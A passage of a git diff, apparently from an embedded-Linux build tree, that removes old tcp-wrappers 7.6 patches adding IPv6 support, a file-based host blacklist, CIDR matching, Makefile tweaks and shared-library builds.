1145diff -ruN tcp_wrappers_7.6.orig/tli.c tcp_wrappers_7.6/tli.c
1146--- tcp_wrappers_7.6.orig/tli.c 1997-03-21 19:27:26.000000000 +0100
1147+++ tcp_wrappers_7.6/tli.c 2004-04-10 19:07:43.000000000 +0200
1148@@ -65,8 +65,13 @@
1149 void tli_host(request)
1150 struct request_info *request;
1151 {
1152+#ifdef INET6
1153+ static struct sockaddr_storage client;
1154+ static struct sockaddr_storage server;
1155+#else
1156 static struct sockaddr_in client;
1157 static struct sockaddr_in server;
1158+#endif
1159
1160 /*
1161 * If we discover that we are using an IP transport, pretend we never
1162@@ -76,14 +81,29 @@
1163
1164 tli_endpoints(request);
1165 if ((request->config = tli_transport(request->fd)) != 0
1166+#ifdef INET6
1167+ && (STR_EQ(request->config->nc_protofmly, "inet") ||
1168+ STR_EQ(request->config->nc_protofmly, "inet6"))) {
1169+#else
1170 && STR_EQ(request->config->nc_protofmly, "inet")) {
1171+#endif
1172 if (request->client->unit != 0) {
1173+#ifdef INET6
1174+ client = *(struct sockaddr_storage *) request->client->unit->addr.buf;
1175+ request->client->sin = (struct sockaddr *) &client;
1176+#else
1177 client = *(struct sockaddr_in *) request->client->unit->addr.buf;
1178 request->client->sin = &client;
1179+#endif
1180 }
1181 if (request->server->unit != 0) {
1182+#ifdef INET6
1183+ server = *(struct sockaddr_storage *) request->server->unit->addr.buf;
1184+ request->server->sin = (struct sockaddr *) &server;
1185+#else
1186 server = *(struct sockaddr_in *) request->server->unit->addr.buf;
1187 request->server->sin = &server;
1188+#endif
1189 }
1190 tli_cleanup(request);
1191 sock_methods(request);
1192@@ -187,7 +207,15 @@
1193 }
1194 while (config = getnetconfig(handlep)) {
1195 if (stat(config->nc_device, &from_config) == 0) {
1196+#ifdef NO_CLONE_DEVICE
1197+ /*
1198+ * If the network devices are not cloned (as is the case for
1199+ * Solaris 8 Beta), we must compare the major device numbers.
1200+ */
1201+ if (major(from_config.st_rdev) == major(from_client.st_rdev))
1202+#else
1203 if (minor(from_config.st_rdev) == major(from_client.st_rdev))
1204+#endif
1205 break;
1206 }
1207 }
1208diff -ruN tcp_wrappers_7.6.orig/update.c tcp_wrappers_7.6/update.c
1209--- tcp_wrappers_7.6.orig/update.c 1994-12-28 17:42:56.000000000 +0100
1210+++ tcp_wrappers_7.6/update.c 2004-04-10 19:07:43.000000000 +0200
1211@@ -46,10 +46,18 @@
1212 request->fd = va_arg(ap, int);
1213 continue;
1214 case RQ_CLIENT_SIN:
1215+#ifdef INET6
1216+ request->client->sin = va_arg(ap, struct sockaddr *);
1217+#else
1218 request->client->sin = va_arg(ap, struct sockaddr_in *);
1219+#endif
1220 continue;
1221 case RQ_SERVER_SIN:
1222+#ifdef INET6
1223+ request->server->sin = va_arg(ap, struct sockaddr *);
1224+#else
1225 request->server->sin = va_arg(ap, struct sockaddr_in *);
1226+#endif
1227 continue;
1228
1229 /*
1230diff -ruN tcp_wrappers_7.6.orig/workarounds.c tcp_wrappers_7.6/workarounds.c
1231--- tcp_wrappers_7.6.orig/workarounds.c 1996-03-19 16:22:26.000000000 +0100
1232+++ tcp_wrappers_7.6/workarounds.c 2004-04-10 19:07:43.000000000 +0200
1233@@ -166,11 +166,22 @@
1234 int *len;
1235 {
1236 int ret;
1237+#ifdef INET6
1238+ struct sockaddr *sin = sa;
1239+#else
1240 struct sockaddr_in *sin = (struct sockaddr_in *) sa;
1241+#endif
1242
1243 if ((ret = getpeername(sock, sa, len)) >= 0
1244+#ifdef INET6
1245+ && ((sin->su_si.si_family == AF_INET6
1246+ && IN6_IS_ADDR_UNSPECIFIED(&sin->su_sin6.sin6_addr))
1247+ || (sin->su_si.si_family == AF_INET
1248+ && sin->su_sin.sin_addr.s_addr == 0))) {
1249+#else
1250 && sa->sa_family == AF_INET
1251 && sin->sin_addr.s_addr == 0) {
1252+#endif
1253 errno = ENOTCONN;
1254 return (-1);
1255 } else {
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/11_tcpd_blacklist.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/11_tcpd_blacklist.patch
deleted file mode 100644
index 77d5b42342..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/11_tcpd_blacklist.patch
+++ /dev/null
@@ -1,153 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3Path: news.porcupine.org!news.porcupine.org!not-for-mail
4From: Wietse Venema <wietse@((no)(spam)(please))wzv.win.tue.nl>
5Newsgroups: comp.mail.sendmail,comp.security.unix
6Subject: TCP Wrapper Blacklist Extension
7Followup-To: poster
8Date: 8 Sep 1997 18:53:13 -0400
9Organization: Wietse's hangout while on sabattical in the USA
10Lines: 147
11Sender: wietse@spike.porcupine.org
12Message-ID: <5v1vkp$h4f$1@spike.porcupine.org>
13NNTP-Posting-Host: spike.porcupine.org
14Xref: news.porcupine.org comp.mail.sendmail:3541 comp.security.unix:7158
15
16The patch below adds a new host pattern to the TCP Wrapper access
17control language. Instead of a host name or address pattern, you
18can specify an external /file/name with host name or address
19patterns. The feature can be used recursively.
20
21The /file/name extension makes it easy to blacklist bad sites, for
22example, to block unwanted electronic mail when libwrap is linked
23into sendmail. Adding hosts to a simple text file is much easier
24than having to edit a more complex hosts.allow/deny file.
25
26I developed this a year or so ago as a substitute for NIS netgroups.
27At that time, I did not consider it of sufficient interest for
28inclusion in the TCP Wrapper distribution. How times have changed.
29
30The patch is relative to TCP Wrappers version 7.6. The main archive
31site is ftp://ftp.win.tue.nl/pub/security/tcp_wrappers_7.6.tar.gz
32
33Thanks to the Debian LINUX folks for expressing their interest in
34this patch.
35
36 Wietse
37
38
39[diff updated by Md]
40
41diff -ruN tcp_wrappers_7.6.orig/hosts_access.5 tcp_wrappers_7.6/hosts_access.5
42--- tcp_wrappers_7.6.orig/hosts_access.5 2004-04-10 19:28:09.000000000 +0200
43+++ tcp_wrappers_7.6/hosts_access.5 2004-04-10 19:28:01.000000000 +0200
44@@ -97,6 +97,13 @@
45 `[3ffe:505:2:1::]/64\' matches every address in the range
46 `3ffe:505:2:1::\' through `3ffe:505:2:1:ffff:ffff:ffff:ffff\'.
47 .IP \(bu
48+A string that begins with a `/\' character is treated as a file
49+name. A host name or address is matched if it matches any host name
50+or address pattern listed in the named file. The file format is
51+zero or more lines with zero or more host name or address patterns
52+separated by whitespace. A file name pattern can be used anywhere
53+a host name or address pattern can be used.
54+.IP \(bu
55 Wildcards `*\' and `?\' can be used to match hostnames or IP addresses. This
56 method of matching cannot be used in conjunction with `net/mask\' matching,
57 hostname matching beginning with `.\' or IP address matching ending with `.\'.
58diff -ruN tcp_wrappers_7.6.orig/hosts_access.c tcp_wrappers_7.6/hosts_access.c
59--- tcp_wrappers_7.6.orig/hosts_access.c 2004-04-10 19:28:09.000000000 +0200
60+++ tcp_wrappers_7.6/hosts_access.c 2004-04-10 19:27:05.000000000 +0200
61@@ -253,6 +253,26 @@
62 }
63 }
64
65+/* hostfile_match - look up host patterns from file */
66+
67+static int hostfile_match(path, host)
68+char *path;
69+struct hosts_info *host;
70+{
71+ char tok[BUFSIZ];
72+ int match = NO;
73+ FILE *fp;
74+
75+ if ((fp = fopen(path, "r")) != 0) {
76+ while (fscanf(fp, "%s", tok) == 1 && !(match = host_match(tok, host)))
77+ /* void */ ;
78+ fclose(fp);
79+ } else if (errno != ENOENT) {
80+ tcpd_warn("open %s: %m", path);
81+ }
82+ return (match);
83+}
84+
85 /* host_match - match host name and/or address against pattern */
86
87 static int host_match(tok, host)
88@@ -280,6 +300,8 @@
89 tcpd_warn("netgroup support is disabled"); /* not tcpd_jump() */
90 return (NO);
91 #endif
92+ } else if (tok[0] == '/') { /* /file hack */
93+ return (hostfile_match(tok, host));
94 } else if (STR_EQ(tok, "KNOWN")) { /* check address and name */
95 char *name = eval_hostname(host);
96 return (STR_NE(eval_hostaddr(host), unknown) && HOSTNAME_KNOWN(name));
97diff -ruN tcp_wrappers_7.6.orig/tcpdchk.c tcp_wrappers_7.6/tcpdchk.c
98--- tcp_wrappers_7.6.orig/tcpdchk.c 2004-04-10 19:28:09.000000000 +0200
99+++ tcp_wrappers_7.6/tcpdchk.c 2004-04-10 19:27:05.000000000 +0200
100@@ -353,6 +353,8 @@
101 {
102 if (pat[0] == '@') {
103 tcpd_warn("%s: daemon name begins with \"@\"", pat);
104+ } else if (pat[0] == '/') {
105+ tcpd_warn("%s: daemon name begins with \"/\"", pat);
106 } else if (pat[0] == '.') {
107 tcpd_warn("%s: daemon name begins with dot", pat);
108 } else if (pat[strlen(pat) - 1] == '.') {
109@@ -385,6 +387,8 @@
110 {
111 if (pat[0] == '@') { /* @netgroup */
112 tcpd_warn("%s: user name begins with \"@\"", pat);
113+ } else if (pat[0] == '/') {
114+ tcpd_warn("%s: user name begins with \"/\"", pat);
115 } else if (pat[0] == '.') {
116 tcpd_warn("%s: user name begins with dot", pat);
117 } else if (pat[strlen(pat) - 1] == '.') {
118@@ -430,8 +434,13 @@
119 static int check_host(pat)
120 char *pat;
121 {
122+ char buf[BUFSIZ];
123 char *mask;
124 int addr_count = 1;
125+ FILE *fp;
126+ struct tcpd_context saved_context;
127+ char *cp;
128+ char *wsp = " \t\r\n";
129
130 if (pat[0] == '@') { /* @netgroup */
131 #ifdef NO_NETGRENT
132@@ -450,6 +459,21 @@
133 tcpd_warn("netgroup support disabled");
134 #endif
135 #endif
136+ } else if (pat[0] == '/') { /* /path/name */
137+ if ((fp = fopen(pat, "r")) != 0) {
138+ saved_context = tcpd_context;
139+ tcpd_context.file = pat;
140+ tcpd_context.line = 0;
141+ while (fgets(buf, sizeof(buf), fp)) {
142+ tcpd_context.line++;
143+ for (cp = strtok(buf, wsp); cp; cp = strtok((char *) 0, wsp))
144+ check_host(cp);
145+ }
146+ tcpd_context = saved_context;
147+ fclose(fp);
148+ } else if (errno != ENOENT) {
149+ tcpd_warn("open %s: %m", pat);
150+ }
151 } else if (mask = split_at(pat, '/')) { /* network/netmask */
152 #ifdef INET6
153 int mask_len;
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/11_usagi_fix.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/11_usagi_fix.patch
deleted file mode 100644
index 09a1e0527e..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/11_usagi_fix.patch
+++ /dev/null
@@ -1,47 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3diff -uN tcp_wrappers_7.6/hosts_access.c tcp_wrappers_7.6.new/hosts_access.c
4--- tcp_wrappers_7.6/hosts_access.c Mon May 20 14:00:56 2002
5+++ tcp_wrappers_7.6.new/hosts_access.c Mon May 20 14:25:05 2002
6@@ -448,6 +448,15 @@
7 int len, mask_len, i = 0;
8 char ch;
9
10+ /*
11+ * Behavior of getaddrinfo() against IPv4-mapped IPv6 address is
12+ * different between KAME and Solaris8. While KAME returns
13+ * AF_INET6, Solaris8 returns AF_INET. So, we avoid this here.
14+ */
15+ if (STRN_EQ(string, "::ffff:", 7)
16+ && dot_quad_addr(string + 7) != INADDR_NONE)
17+ return (masked_match4(net_tok, mask_tok, string + 7));
18+
19 memset(&hints, 0, sizeof(hints));
20 hints.ai_family = AF_INET6;
21 hints.ai_socktype = SOCK_STREAM;
22@@ -457,13 +466,6 @@
23 memcpy(&addr, res->ai_addr, sizeof(addr));
24 freeaddrinfo(res);
25
26- if (IN6_IS_ADDR_V4MAPPED(&addr.sin6_addr)) {
27- if ((*(u_int32_t *)&net.sin6_addr.s6_addr[12] = dot_quad_addr(net_tok)) == INADDR_NONE
28- || (mask = dot_quad_addr(mask_tok)) == INADDR_NONE)
29- return (NO);
30- return ((*(u_int32_t *)&addr.sin6_addr.s6_addr[12] & mask) == *(u_int32_t *)&net.sin6_addr.s6_addr[12]);
31- }
32-
33 /* match IPv6 address against netnumber/prefixlen */
34 len = strlen(net_tok);
35 if (*net_tok != '[' || net_tok[len - 1] != ']')
36diff -uN tcp_wrappers_7.6/socket.c tcp_wrappers_7.6.new/socket.c
37--- tcp_wrappers_7.6/socket.c Mon May 20 13:48:35 2002
38+++ tcp_wrappers_7.6.new/socket.c Mon May 20 14:22:27 2002
39@@ -228,7 +228,7 @@
40 hints.ai_family = sin->sa_family;
41 hints.ai_socktype = SOCK_STREAM;
42 hints.ai_flags = AI_PASSIVE | AI_CANONNAME | AI_NUMERICHOST;
43- if ((err = getaddrinfo(host->name, NULL, &hints, &res0) == 0)) {
44+ if ((err = getaddrinfo(host->name, NULL, &hints, &res0)) == 0) {
45 freeaddrinfo(res0);
46 res0 = NULL;
47 tcpd_warn("host name/name mismatch: "
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/12_makefile_config.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/12_makefile_config.patch
deleted file mode 100644
index 895a72e6b4..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/12_makefile_config.patch
+++ /dev/null
@@ -1,85 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3Index: tcp_wrappers_7.6/Makefile
4===================================================================
5--- tcp_wrappers_7.6.orig/Makefile
6+++ tcp_wrappers_7.6/Makefile
7@@ -45,7 +45,7 @@ what:
8 #
9 # SysV.4 Solaris 2.x OSF AIX
10 #REAL_DAEMON_DIR=/usr/sbin
11-#
12+REAL_DAEMON_DIR=/usr/sbin
13 # BSD 4.4
14 #REAL_DAEMON_DIR=/usr/libexec
15 #
16@@ -513,6 +513,7 @@ VSYSLOG = -Dvsyslog=myvsyslog
17 # (examples: allow, deny, banners, twist and spawn).
18 #
19 #STYLE = -DPROCESS_OPTIONS # Enable language extensions.
20+STYLE = -DPROCESS_OPTIONS
21
22 ################################################################
23 # Optional: Changing the default disposition of logfile records
24@@ -536,6 +537,7 @@ VSYSLOG = -Dvsyslog=myvsyslog
25 # The LOG_XXX names below are taken from the /usr/include/syslog.h file.
26
27 FACILITY= LOG_MAIL # LOG_MAIL is what most sendmail daemons use
28+FACILITY= LOG_DAEMON
29
30 # The syslog priority at which successful connections are logged.
31
32@@ -632,6 +634,7 @@ TABLES = -DHOSTS_DENY=\"/etc/hosts.deny\
33 # lookups altogether, see the next section.
34
35 PARANOID= -DPARANOID
36+PARANOID=
37
38 ########################################
39 # Optional: turning off hostname lookups
40@@ -645,6 +648,7 @@ PARANOID= -DPARANOID
41 # mode (see previous section) and comment out the following definition.
42
43 HOSTNAME= -DALWAYS_HOSTNAME
44+HOSTNAME=
45
46 #############################################
47 # Optional: Turning on host ADDRESS checking
48@@ -671,6 +675,7 @@ HOSTNAME= -DALWAYS_HOSTNAME
49 # Solaris 2.x, and Linux. See your system documentation for details.
50 #
51 # KILL_OPT= -DKILL_IP_OPTIONS
52+KILL_OPT= -DKILL_IP_OPTIONS
53
54 ## End configuration options
55 ############################
56@@ -678,9 +683,10 @@ HOSTNAME= -DALWAYS_HOSTNAME
57 # Protection against weird shells or weird make programs.
58
59 SHELL = /bin/sh
60-.c.o:; $(CC) $(CFLAGS) -c $*.c
61+.c.o:; $(CC) $(CFLAGS) -o $*.o -c $*.c
62
63-CFLAGS = -O -DFACILITY=$(FACILITY) $(ACCESS) $(PARANOID) $(NETGROUP) \
64+COPTS = -O2 -g
65+CFLAGS = $(COPTS) -DFACILITY=$(FACILITY) $(ACCESS) $(PARANOID) $(NETGROUP) \
66 $(BUGS) $(SYSTYPE) $(AUTH) $(UMASK) \
67 -DREAL_DAEMON_DIR=\"$(REAL_DAEMON_DIR)\" $(STYLE) $(KILL_OPT) \
68 -DSEVERITY=$(SEVERITY) -DRFC931_TIMEOUT=$(RFC931_TIMEOUT) \
69@@ -713,11 +719,12 @@ all other: config-check tcpd tcpdmatch t
70
71 config-check:
72 @set +e; test -n "$(REAL_DAEMON_DIR)" || { make; exit 1; }
73- @set +e; echo $(CFLAGS) >/tmp/cflags.$$$$ ; \
74- if cmp cflags /tmp/cflags.$$$$ ; \
75- then rm /tmp/cflags.$$$$ ; \
76- else mv /tmp/cflags.$$$$ cflags ; \
77+ @set +e; echo $(CFLAGS) >cflags.new ; \
78+ if cmp cflags cflags.new ; \
79+ then rm cflags.new ; \
80+ else mv cflags.new cflags ; \
81 fi >/dev/null 2>/dev/null
82+ @if [ ! -d shared ]; then mkdir shared; fi
83
84 $(LIB): $(LIB_OBJ)
85 rm -f $(LIB)
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/13_shlib_weaksym.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/13_shlib_weaksym.patch
deleted file mode 100644
index 9503fb3c88..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/13_shlib_weaksym.patch
+++ /dev/null
@@ -1,255 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3diff -ruN tcp_wrappers_7.6.orig/Makefile tcp_wrappers_7.6/Makefile
4--- tcp_wrappers_7.6.orig/Makefile 2004-05-02 15:37:59.000000000 +0200
5+++ tcp_wrappers_7.6/Makefile 2004-05-02 15:31:09.000000000 +0200
6@@ -150,15 +150,15 @@
7
8 linux:
9 @make REAL_DAEMON_DIR=$(REAL_DAEMON_DIR) STYLE=$(STYLE) \
10- LIBS=-lnsl RANLIB=ranlib ARFLAGS=rv AUX_OBJ= \
11+ LIBS=-lnsl RANLIB=ranlib ARFLAGS=rv AUX_OBJ=weak_symbols.o \
12 NETGROUP="-DNETGROUP" TLI= VSYSLOG= BUGS= \
13- EXTRA_CFLAGS="-DSYS_ERRLIST_DEFINED -DHAVE_STRERROR -DINET6=1 -Dss_family=__ss_family -Dss_len=__ss_len" all
14+ EXTRA_CFLAGS="-DSYS_ERRLIST_DEFINED -DHAVE_STRERROR -DHAVE_WEAKSYMS -D_REENTRANT -DINET6=1 -Dss_family=__ss_family -Dss_len=__ss_len" all
15
16 gnu:
17 @make REAL_DAEMON_DIR=$(REAL_DAEMON_DIR) STYLE=$(STYLE) \
18- LIBS=-lnsl RANLIB=ranlib ARFLAGS=rv AUX_OBJ= \
19+ LIBS=-lnsl RANLIB=ranlib ARFLAGS=rv AUX_OBJ=weak_symbols.o \
20 NETGROUP=-DNETGROUP TLI= VSYSLOG= BUGS= \
21- EXTRA_CFLAGS="-DSYS_ERRLIST_DEFINED -DHAVE_STRERROR" all
22+ EXTRA_CFLAGS="-DSYS_ERRLIST_DEFINED -DHAVE_STRERROR -DHAVE_WEAKSYMS -D_REENTRANT" all
23
24 # This is good for many SYSV+BSD hybrids with NIS, probably also for HP-UX 7.x.
25 hpux hpux8 hpux9 hpux10:
26@@ -713,7 +713,22 @@
27
28 LIB = libwrap.a
29
30-all other: config-check tcpd tcpdmatch try-from safe_finger tcpdchk
31+shared/%.o: %.c
32+ $(CC) $(CFLAGS) $(SHCFLAGS) -c $< -o $@
33+
34+SOMAJOR = 0
35+SOMINOR = 7.6
36+
37+SHLIB = shared/libwrap.so.$(SOMAJOR).$(SOMINOR)
38+SHLIBSOMAJ = shared/libwrap.so.$(SOMAJOR)
39+SHLIBSO = shared/libwrap.so
40+SHLIBFLAGS = -Lshared -lwrap
41+
42+SHLINKFLAGS = -shared -Xlinker -soname -Xlinker libwrap.so.$(SOMAJOR) -lc $(LIBS)
43+SHCFLAGS = -fPIC -shared -D_REENTRANT
44+SHLIB_OBJ= $(addprefix shared/, $(LIB_OBJ));
45+
46+all other: config-check tcpd tcpdmatch try-from safe_finger tcpdchk $(LIB)
47
48 # Invalidate all object files when the compiler options (CFLAGS) have changed.
49
50@@ -731,27 +746,33 @@
51 $(AR) $(ARFLAGS) $(LIB) $(LIB_OBJ)
52 -$(RANLIB) $(LIB)
53
54-tcpd: tcpd.o $(LIB)
55- $(CC) $(CFLAGS) -o $@ tcpd.o $(LIB) $(LIBS)
56+$(SHLIB): $(SHLIB_OBJ)
57+ rm -f $(SHLIB)
58+ $(CC) -o $(SHLIB) $(SHLINKFLAGS) $(SHLIB_OBJ)
59+ ln -sf $(notdir $(SHLIB)) $(SHLIBSOMAJ)
60+ ln -sf $(notdir $(SHLIBSOMAJ)) $(SHLIBSO)
61+
62+tcpd: tcpd.o $(SHLIB)
63+ $(CC) $(CFLAGS) -o $@ tcpd.o $(SHLIBFLAGS)
64
65 miscd: miscd.o $(LIB)
66 $(CC) $(CFLAGS) -o $@ miscd.o $(LIB) $(LIBS)
67
68-safe_finger: safe_finger.o $(LIB)
69- $(CC) $(CFLAGS) -o $@ safe_finger.o $(LIB) $(LIBS)
70+safe_finger: safe_finger.o $(SHLIB)
71+ $(CC) $(CFLAGS) -o $@ safe_finger.o $(SHLIBFLAGS)
72
73 TCPDMATCH_OBJ = tcpdmatch.o fakelog.o inetcf.o scaffold.o
74
75-tcpdmatch: $(TCPDMATCH_OBJ) $(LIB)
76- $(CC) $(CFLAGS) -o $@ $(TCPDMATCH_OBJ) $(LIB) $(LIBS)
77+tcpdmatch: $(TCPDMATCH_OBJ) $(SHLIB)
78+ $(CC) $(CFLAGS) -o $@ $(TCPDMATCH_OBJ) $(SHLIBFLAGS)
79
80-try-from: try-from.o fakelog.o $(LIB)
81- $(CC) $(CFLAGS) -o $@ try-from.o fakelog.o $(LIB) $(LIBS)
82+try-from: try-from.o fakelog.o $(SHLIB)
83+ $(CC) $(CFLAGS) -o $@ try-from.o fakelog.o $(SHLIBFLAGS)
84
85 TCPDCHK_OBJ = tcpdchk.o fakelog.o inetcf.o scaffold.o
86
87-tcpdchk: $(TCPDCHK_OBJ) $(LIB)
88- $(CC) $(CFLAGS) -o $@ $(TCPDCHK_OBJ) $(LIB) $(LIBS)
89+tcpdchk: $(TCPDCHK_OBJ) $(SHLIB)
90+ $(CC) $(CFLAGS) -o $@ $(TCPDCHK_OBJ) $(SHLIBFLAGS)
91
92 shar: $(KIT)
93 @shar $(KIT)
94@@ -767,7 +788,9 @@
95
96 clean:
97 rm -f tcpd miscd safe_finger tcpdmatch tcpdchk try-from *.[oa] core \
98+ libwrap*.so* \
99 cflags
100+ rm -rf shared/
101
102 tidy: clean
103 chmod -R a+r .
104@@ -913,5 +936,6 @@
105 update.o: mystdarg.h
106 update.o: tcpd.h
107 vfprintf.o: cflags
108+weak_symbols.o: tcpd.h
109 workarounds.o: cflags
110 workarounds.o: tcpd.h
111diff -ruN tcp_wrappers_7.6.orig/tcpd.h tcp_wrappers_7.6/tcpd.h
112--- tcp_wrappers_7.6.orig/tcpd.h 2004-05-02 15:37:59.000000000 +0200
113+++ tcp_wrappers_7.6/tcpd.h 2004-05-02 15:37:49.000000000 +0200
114@@ -4,6 +4,15 @@
115 * Author: Wietse Venema, Eindhoven University of Technology, The Netherlands.
116 */
117
118+#ifndef _TCPWRAPPERS_TCPD_H
119+#define _TCPWRAPPERS_TCPD_H
120+
121+/* Need definitions of struct sockaddr_in and FILE. */
122+#include <netinet/in.h>
123+#include <stdio.h>
124+
125+__BEGIN_DECLS
126+
127 /* Structure to describe one communications endpoint. */
128
129 #define STRING_LENGTH 128 /* hosts, users, processes */
130@@ -29,10 +38,10 @@
131 char pid[10]; /* access via eval_pid(request) */
132 struct host_info client[1]; /* client endpoint info */
133 struct host_info server[1]; /* server endpoint info */
134- void (*sink) (); /* datagram sink function or 0 */
135- void (*hostname) (); /* address to printable hostname */
136- void (*hostaddr) (); /* address to printable address */
137- void (*cleanup) (); /* cleanup function or 0 */
138+ void (*sink) (int); /* datagram sink function or 0 */
139+ void (*hostname) (struct host_info *); /* address to printable hostname */
140+ void (*hostaddr) (struct host_info *); /* address to printable address */
141+ void (*cleanup) (struct request_info *); /* cleanup function or 0 */
142 struct netconfig *config; /* netdir handle */
143 };
144
145@@ -70,20 +79,27 @@
146 #define fromhost sock_host /* no TLI support needed */
147 #endif
148
149-extern int hosts_access(); /* access control */
150-extern void shell_cmd(); /* execute shell command */
151-extern char *percent_x(); /* do %<char> expansion */
152-extern void rfc931(); /* client name from RFC 931 daemon */
153-extern void clean_exit(); /* clean up and exit */
154-extern void refuse(); /* clean up and exit */
155-extern char *xgets(); /* fgets() on steroids */
156-extern char *split_at(); /* strchr() and split */
157-extern unsigned long dot_quad_addr(); /* restricted inet_addr() */
158+extern int hosts_access(struct request_info *request); /* access control */
159+extern void shell_cmd(char *); /* execute shell command */
160+extern char *percent_x(char *, int, char *, struct request_info *);
161+ /* do %<char> expansion */
162+extern void rfc931(struct sockaddr *, struct sockaddr *, char *);
163+ /* client name from RFC 931 daemon */
164+extern void clean_exit(struct request_info *); /* clean up and exit */
165+extern void refuse(struct request_info *); /* clean up and exit */
166+extern char *xgets(char *, int, FILE *); /* fgets() on steroids */
167+extern char *split_at(char *, int); /* strchr() and split */
168+extern unsigned long dot_quad_addr(char *); /* restricted inet_addr() */
169
170 /* Global variables. */
171
172+#ifdef HAVE_WEAKSYMS
173+extern int allow_severity __attribute__ ((weak)); /* for connection logging */
174+extern int deny_severity __attribute__ ((weak)); /* for connection logging */
175+#else
176 extern int allow_severity; /* for connection logging */
177 extern int deny_severity; /* for connection logging */
178+#endif
179 extern char *hosts_allow_table; /* for verification mode redirection */
180 extern char *hosts_deny_table; /* for verification mode redirection */
181 extern int hosts_access_verbose; /* for verbose matching mode */
182@@ -98,6 +114,8 @@
183 #ifdef __STDC__
184 extern struct request_info *request_init(struct request_info *,...);
185 extern struct request_info *request_set(struct request_info *,...);
186+extern int hosts_ctl(char *daemon, char *client_name, char *client_addr,
187+ char *client_user);
188 #else
189 extern struct request_info *request_init(); /* initialize request */
190 extern struct request_info *request_set(); /* update request structure */
191@@ -121,20 +139,23 @@
192 * host_info structures serve as caches for the lookup results.
193 */
194
195-extern char *eval_user(); /* client user */
196-extern char *eval_hostname(); /* printable hostname */
197-extern char *eval_hostaddr(); /* printable host address */
198-extern char *eval_hostinfo(); /* host name or address */
199-extern char *eval_client(); /* whatever is available */
200-extern char *eval_server(); /* whatever is available */
201+extern char *eval_user(struct request_info *); /* client user */
202+extern char *eval_hostname(struct host_info *); /* printable hostname */
203+extern char *eval_hostaddr(struct host_info *); /* printable host address */
204+extern char *eval_hostinfo(struct host_info *); /* host name or address */
205+extern char *eval_client(struct request_info *);/* whatever is available */
206+extern char *eval_server(struct request_info *);/* whatever is available */
207 #define eval_daemon(r) ((r)->daemon) /* daemon process name */
208 #define eval_pid(r) ((r)->pid) /* process id */
209
210 /* Socket-specific methods, including DNS hostname lookups. */
211
212-extern void sock_host(); /* look up endpoint addresses */
213-extern void sock_hostname(); /* translate address to hostname */
214-extern void sock_hostaddr(); /* address to printable address */
215+/* look up endpoint addresses */
216+extern void sock_host(struct request_info *);
217+/* translate address to hostname */
218+extern void sock_hostname(struct host_info *);
219+/* address to printable address */
220+extern void sock_hostaddr(struct host_info *);
221 #define sock_methods(r) \
222 { (r)->hostname = sock_hostname; (r)->hostaddr = sock_hostaddr; }
223
224@@ -182,7 +203,7 @@
225 * behavior.
226 */
227
228-extern void process_options(); /* execute options */
229+extern void process_options(char *, struct request_info *);/* execute options */
230 extern int dry_run; /* verification flag */
231
232 /* Bug workarounds. */
233@@ -221,3 +242,7 @@
234 #define strtok my_strtok
235 extern char *my_strtok();
236 #endif
237+
238+__END_DECLS
239+
240+#endif
241diff -ruN tcp_wrappers_7.6.orig/weak_symbols.c tcp_wrappers_7.6/weak_symbols.c
242--- tcp_wrappers_7.6.orig/weak_symbols.c 1970-01-01 01:00:00.000000000 +0100
243+++ tcp_wrappers_7.6/weak_symbols.c 2004-05-02 15:31:09.000000000 +0200
244@@ -0,0 +1,11 @@
245+ /*
246+ * @(#) weak_symbols.h 1.5 99/12/29 23:50
247+ *
248+ * Author: Anthony Towns <ajt@debian.org>
249+ */
250+
251+#ifdef HAVE_WEAKSYMS
252+#include <syslog.h>
253+int deny_severity = LOG_WARNING;
254+int allow_severity = SEVERITY;
255+#endif
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/14_cidr_support.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/14_cidr_support.patch
deleted file mode 100644
index b6681df8ce..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/14_cidr_support.patch
+++ /dev/null
@@ -1,68 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3diff -ruN tcp_wrappers_7.6.orig/hosts_access.5 tcp_wrappers_7.6/hosts_access.5
4--- tcp_wrappers_7.6.orig/hosts_access.5 2003-08-21 03:15:36.000000000 +0200
5+++ tcp_wrappers_7.6/hosts_access.5 2003-08-21 03:15:31.000000000 +0200
6@@ -90,6 +90,10 @@
7 pattern `131.155.72.0/255.255.254.0\' matches every address in the
8 range `131.155.72.0\' through `131.155.73.255\'.
9 .IP \(bu
10+An expression of the form `n.n.n.n/mm' is interpreted as a
11+`net/masklength' pair, where `mm' is the number of consecutive `1'
12+bits in the netmask applied to the `n.n.n.n' address.
13+.IP \(bu
14 An expression of the form `[n:n:n:n:n:n:n:n]/m\' is interpreted as a
15 `[net]/prefixlen\' pair. An IPv6 host address is matched if
16 `prefixlen\' bits of `net\' is equal to the `prefixlen\' bits of the
17diff -ruN tcp_wrappers_7.6.orig/hosts_access.c tcp_wrappers_7.6/hosts_access.c
18--- tcp_wrappers_7.6.orig/hosts_access.c 2003-08-21 03:15:36.000000000 +0200
19+++ tcp_wrappers_7.6/hosts_access.c 2003-08-21 03:09:30.000000000 +0200
20@@ -417,7 +417,8 @@
21 if ((addr = dot_quad_addr(string)) == INADDR_NONE)
22 return (NO);
23 if ((net = dot_quad_addr(net_tok)) == INADDR_NONE
